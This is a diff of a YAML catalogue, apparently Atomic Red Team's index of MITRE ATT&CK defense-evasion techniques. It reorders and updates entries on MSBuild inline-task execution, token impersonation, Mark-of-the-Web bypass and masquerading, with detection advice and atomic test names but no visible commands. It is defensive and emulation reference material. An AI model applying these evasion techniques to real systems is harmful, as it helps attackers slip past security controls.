+        description: Microsoft. (2018, May 31). CLSID Key. Retrieved September 24,
+          2021.
+        source_name: win_clsid_key
+      - url: https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/
+        description: Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management
+          Console (MMC) Vulnerabilities. Retrieved September 24, 2021.
+        source_name: mmc_vulns
+      - url: https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
+        description: 'bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE
+          (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021.'
+        source_name: abusing_com_reg
+    atomic_tests: []
   T1127.001:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: MSBuild
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1127/001
+        external_id: T1127.001
+        source_name: mitre-attack
+      - source_name: MSDN MSBuild
+        description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.
+        url: https://msdn.microsoft.com/library/dd393574.aspx
+      - url: https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element
+        description: Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved
+          March 5, 2021.
+        source_name: Microsoft MSBuild Inline Tasks 2017
+      - url: https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
+        description: LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.
+        source_name: LOLBAS Msbuild
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.2'
+      modified: '2021-10-15T23:57:07.973Z'
+      x_mitre_system_requirements:
+      - " .NET Framework version 4 or higher"
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96
       description: |-
         Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)
 
         Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)
-      name: MSBuild
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1127.001
-        url: https://attack.mitre.org/techniques/T1127/001
-      - url: https://msdn.microsoft.com/library/dd393574.aspx
-        description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.
-        source_name: MSDN MSBuild
-      - source_name: Microsoft MSBuild Inline Tasks 2017
-        url: https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element
-        description: Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved
-          March 5, 2021.
-      - source_name: LOLBAS Msbuild
-        url: https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
-        description: LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.
-      type: attack-pattern
-      kill_chain_phases:
-      - phase_name: defense-evasion
-        kill_chain_name: mitre-attack
-      modified: '2021-03-05T22:25:48.777Z'
-      created: '2020-03-27T21:50:26.042Z'
       x_mitre_contributors:
+      - "@ionstorm"
       - Carrie Roberts, @OrOneEqualsOne
-      x_mitre_platforms:
-      - Windows
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: Use process monitoring to monitor the execution and arguments
         of MSBuild.exe. Compare recent invocations of those binaries with prior history
         of known good arguments and executed binaries to determine anomalous and potentially
         adversarial activity. Command arguments used before and after invocation of
         the utilities may also be useful in determining the origin and purpose of
         the binary being executed.
-      x_mitre_system_requirements:
-      - " .NET Framework version 4 or higher"
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created: '2020-03-27T21:50:26.042Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1127.001
     atomic_tests:
     - name: MSBuild Bypass Using Inline Tasks (C#)
@@ -30949,111 +31807,111 @@ defense-evasion:
         name: command_prompt
   T1134.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1134.003
-        url: https://attack.mitre.org/techniques/T1134/003
-      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
-        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
-          April 21, 2017.
-        source_name: Microsoft Command-line Logging
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Make and Impersonate Token
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-02-18T18:03:37.481Z'
+      created: '2020-02-18T18:03:37.481Z'
+      id: attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819
+      x_mitre_defense_bypassed:
+      - Windows User Account Control
+      - System access controls
+      - File system access controls
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: Adversaries may make and impersonate tokens to escalate privileges
         and bypass access controls. If an adversary has a username and password but
         the user is not logged onto the system, the adversary can then create a logon
         session for the user using the <code>LogonUser</code> function. The function
         will return a copy of the new session's access token and the adversary can
         use <code>SetThreadToken</code> to assign the token to a thread.
-      id: attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819
-      type: attack-pattern
+      x_mitre_effective_permissions:
+      - SYSTEM
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-02-18T18:03:37.481Z'
-      created: '2020-02-18T18:03:37.481Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_effective_permissions:
-      - SYSTEM
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_defense_bypassed:
-      - Windows User Account Control
-      - System access controls
-      - File system access controls
       x_mitre_detection: |-
         If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
 
         If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.
 
         Analysts can also monitor for use of Windows APIs such as <code>LogonUser</code> and <code> SetThreadToken</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1134/003
+        external_id: T1134.003
+        source_name: mitre-attack
+      - source_name: Microsoft Command-line Logging
+        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
+          April 21, 2017.
+        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
     atomic_tests: []
   T1553.005:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Mark-of-the-Web Bypass
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Metadata'
+      x_mitre_version: '1.0'
+      modified: '2021-04-13T22:47:08.289Z'
+      created: '2021-02-22T14:20:31.650Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       id: attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961
+      x_mitre_defense_bypassed:
+      - Anti-virus, Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)
 
         Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)
-      name: Mark-of-the-Web Bypass
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1553.005
-        url: https://attack.mitre.org/techniques/T1553/005
-      - source_name: Microsoft Zone.Identifier 2020
-        url: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8
-        description: Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved
-          February 22, 2021.
-      - source_name: Beek Use of VHD Dec 2020
-        url: https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316
-        description: Beek, C. (2020, December 3). Investigating the Use of VHD Files
-          By Cybercriminals. Retrieved February 22, 2021.
-      - source_name: Outflank MotW 2020
-        url: https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/
-        description: Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s
-          perspective. Retrieved February 22, 2021.
-      - source_name: Intezer Russian APT Dec 2020
-        url: https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/
-        description: 'Kennedy, J. (2020, December 9). A Zebra in Gopher''s Clothing:
-          Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22,
-          2021.'
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-13T22:47:08.289Z'
-      created: '2021-02-22T14:20:31.650Z'
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Christiaan Beek, @ChristiaanBeek
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Metadata'
       x_mitre_detection: Monitor compressed/archive and image files downloaded from
         the Internet as the contents may not be tagged with the MOTW. Data and events
         should not be viewed in isolation, but as part of a chain of behavior that
         could lead to other activities.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_defense_bypassed:
-      - Anti-virus, Application control
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1553/005
+        external_id: T1553.005
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8
+        description: Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved
+          February 22, 2021.
+        source_name: Microsoft Zone.Identifier 2020
+      - url: https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316
+        description: Beek, C. (2020, December 3). Investigating the Use of VHD Files
+          By Cybercriminals. Retrieved February 22, 2021.
+        source_name: Beek Use of VHD Dec 2020
+      - url: https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/
+        description: Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s
+          perspective. Retrieved February 22, 2021.
+        source_name: Outflank MotW 2020
+      - url: https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/
+        description: 'Kennedy, J. (2020, December 9). A Zebra in Gopher''s Clothing:
+          Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22,
+          2021.'
+        source_name: Intezer Russian APT Dec 2020
       identifier: T1553.005
     atomic_tests:
     - name: Mount ISO image
@@ -31162,46 +32020,36 @@ defense-evasion:
         name: powershell
   T1036.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1036.004
-        url: https://attack.mitre.org/techniques/T1036/004
-      - url: https://technet.microsoft.com/en-us/library/bb490996.aspx
-        description: Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.
-        source_name: TechNet Schtasks
-      - source_name: Systemd Service Units
-        url: https://www.freedesktop.org/software/systemd/man/systemd.service.html
-        description: Freedesktop.org. (n.d.). systemd.service — Service unit configuration.
-          Retrieved March 16, 2020.
-      - url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
-        description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack
-          Wiper. Retrieved January 11, 2017.'
-        source_name: Palo Alto Shamoon Nov 2016
-      - url: https://vms.drweb.com/virus/?i=4276269
-        description: Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved
-          December 7, 2017.
-        source_name: Fysbis Dr Web Analysis
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Masquerade Task or Service
-      description: |-
-        Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.
-
-        Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)
-      id: attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-24T13:24:45.580Z'
+      name: Masquerade Task or Service
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Service: Service Metadata'
+      - 'Service: Service Creation'
+      - 'Scheduled Job: Scheduled Job Metadata'
+      - 'Scheduled Job: Scheduled Job Modification'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T13:24:52.618Z'
       created: '2020-02-10T20:30:07.426Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - User
       - Administrator
       - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c
+      description: |-
+        Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.
+
+        Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_detection: Look for changes to tasks and services that do not correlate
         with known software, patch cycles, etc. Suspicious program execution through
         scheduled tasks or services may show up as outlier processes that have not
@@ -31211,15 +32059,26 @@ defense-evasion:
         of a chain of behavior that could lead to other activities, such as network
         connections made for Command and Control, learning details about the environment
         through Discovery, and Lateral Movement.
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Service: Service Metadata'
-      - 'Service: Service Creation'
-      - 'Scheduled Job: Scheduled Job Metadata'
-      - 'Scheduled Job: Scheduled Job Modification'
-      x_mitre_platforms:
-      - Windows
-      - Linux
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1036/004
+        external_id: T1036.004
+        source_name: mitre-attack
+      - source_name: TechNet Schtasks
+        description: Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.
+        url: https://technet.microsoft.com/en-us/library/bb490996.aspx
+      - url: https://www.freedesktop.org/software/systemd/man/systemd.service.html
+        description: Freedesktop.org. (n.d.). systemd.service — Service unit configuration.
+          Retrieved March 16, 2020.
+        source_name: Systemd Service Units
+      - source_name: Palo Alto Shamoon Nov 2016
+        description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack
+          Wiper. Retrieved January 11, 2017.'
+        url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
+      - source_name: Fysbis Dr Web Analysis
+        description: Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved
+          December 7, 2017.
+        url: https://vms.drweb.com/virus/?i=4276269
       identifier: T1036.004
     atomic_tests:
     - name: Creating W32Time similar named service using schtasks
@@ -31254,49 +32113,10 @@ defense-evasion:
         elevation_required: true
   T1036:
     technique:
-      created: '2017-05-31T21:30:38.511Z'
-      modified: '2021-04-24T13:24:45.840Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      type: attack-pattern
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1036
-        url: https://attack.mitre.org/techniques/T1036
-      - external_id: CAPEC-177
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/177.html
-      - source_name: LOLBAS Main Site
-        url: https://lolbas-project.github.io/
-        description: LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and
-          also Libraries). Retrieved February 10, 2020.
-      - source_name: Elastic Masquerade Ball
-        description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball.
-          Retrieved October 31, 2016.'
-        url: http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf
-      - source_name: Twitter ItsReallyNick Masquerading Update
-        url: https://twitter.com/ItsReallyNick/status/1055321652777619457
-        description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading.
-          Retrieved April 22, 2019.
-      description: |-
-        Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
-
-        Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)
+      type: attack-pattern
       name: Masquerading
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.4'
-      x_mitre_contributors:
-      - Oleg Kolesnikov, Securonix
-      - Nick Carr, FireEye
-      - David Lu, Tripwire
-      - Felipe Espósito, @Pr0teus
-      - Elastic
-      - Bartosz Jerzman
       x_mitre_data_sources:
       - 'Image: Image Metadata'
       - 'Command: Command Execution'
@@ -31307,19 +32127,58 @@ defense-evasion:
       - 'File: File Metadata'
       - 'Process: Process Metadata'
       - 'File: File Modification'
+      x_mitre_version: '1.4'
+      modified: '2021-10-18T13:24:52.973Z'
+      created: '2017-05-31T21:30:38.511Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_defense_bypassed:
       - Application control by file name or path
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - Containers
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0
+      description: |-
+        Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
+
+        Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)
+      x_mitre_contributors:
+      - Oleg Kolesnikov, Securonix
+      - Nick Carr, Mandiant
+      - David Lu, Tripwire
+      - Felipe Espósito, @Pr0teus
+      - Elastic
+      - Bartosz Jerzman
       x_mitre_detection: |-
         Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.
 
         If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)
 
         Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”.
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Containers
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1036
+        external_id: T1036
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/177.html
+        external_id: CAPEC-177
+        source_name: capec
+      - url: https://lolbas-project.github.io/
+        description: LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and
+          also Libraries). Retrieved February 10, 2020.
+        source_name: LOLBAS Main Site
+      - url: http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf
+        description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball.
+          Retrieved October 31, 2016.'
+        source_name: Elastic Masquerade Ball
+      - url: https://twitter.com/ItsReallyNick/status/1055321652777619457
+        description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading.
+          Retrieved April 22, 2019.
+        source_name: Twitter ItsReallyNick Masquerading Update
       identifier: T1036
     atomic_tests:
     - name: System File Copied to Unusual Location
@@ -31367,61 +32226,61 @@ defense-evasion:
         name: powershell
   T1036.005:
     technique:
-      id: attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2
-      description: |-
-        Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.
-
-        Adversaries may also use the same icon of the file they are trying to mimic.
-      name: Match Legitimate Name or Location
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1036.005
-        url: https://attack.mitre.org/techniques/T1036/005
-      - external_id: CAPEC-177
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/177.html
-      - source_name: Elastic Masquerade Ball
-        description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball.
-          Retrieved October 31, 2016.'
-        url: http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf
-      - source_name: Twitter ItsReallyNick Masquerading Update
-        url: https://twitter.com/ItsReallyNick/status/1055321652777619457
-        description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading.
-          Retrieved April 22, 2019.
-      - source_name: Docker Images
-        url: https://docs.docker.com/engine/reference/commandline/images/
-        description: Docker. (n.d.). Docker Images. Retrieved April 6, 2021.
       type: attack-pattern
+      modified: '2021-04-20T19:23:37.762Z'
+      name: Match Legitimate Name or Location
+      x_mitre_data_sources:
+      - 'Image: Image Metadata'
+      - 'File: File Metadata'
+      - 'Process: Process Metadata'
+      x_mitre_version: '1.1'
+      created: '2020-02-10T20:43:10.239Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2021-04-20T19:23:37.762Z'
-      created: '2020-02-10T20:43:10.239Z'
+      x_mitre_defense_bypassed:
+      - Application control by file name or path
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
       - Containers
-      x_mitre_data_sources:
-      - 'Image: Image Metadata'
-      - 'File: File Metadata'
-      - 'Process: Process Metadata'
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2
+      description: |-
+        Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.
+
+        Adversaries may also use the same icon of the file they are trying to mimic.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Yossi Weizman, Azure Defender Research Team
+      - Vishwas Manral, McAfee
       x_mitre_detection: |-
         Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.
 
         If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)
 
         In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.
-      x_mitre_defense_bypassed:
-      - Application control by file name or path
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
-      x_mitre_contributors:
-      - Yossi Weizman, Azure Defender Research Team
-      - Vishwas Manral, McAfee
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1036/005
+        external_id: T1036.005
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/177.html
+        external_id: CAPEC-177
+        source_name: capec
+      - url: http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf
+        description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball.
+          Retrieved October 31, 2016.'
+        source_name: Elastic Masquerade Ball
+      - url: https://twitter.com/ItsReallyNick/status/1055321652777619457
+        description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading.
+          Retrieved April 22, 2019.
+        source_name: Twitter ItsReallyNick Masquerading Update
+      - url: https://docs.docker.com/engine/reference/commandline/images/
+        description: Docker. (n.d.). Docker Images. Retrieved April 6, 2021.
+        source_name: Docker Images
       identifier: T1036.005
     atomic_tests:
     - name: Execute a process from a directory masquerading as the current parent
@@ -31479,49 +32338,76 @@ defense-evasion:
 
 '
         name: powershell
-  T1556:
+  T1218.013:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556
-        url: https://attack.mitre.org/techniques/T1556
-      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
-        description: Bialek, J. (2013, September 15). Intercepting Password Changes
-          With Function Hooking. Retrieved November 21, 2017.
-        source_name: Clymb3r Function Hook Passwords Sept 2013
-      - source_name: Dell Skeleton
-        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
-          Retrieved April 8, 2019.
-        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
-      - source_name: Xorrior Authorization Plugins
-        url: https://xorrior.com/persistent-credential-theft/
-        description: Chris Ross. (2018, October 17). Persistent Credential Theft with
-          Authorization Plugins. Retrieved April 22, 2021.
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
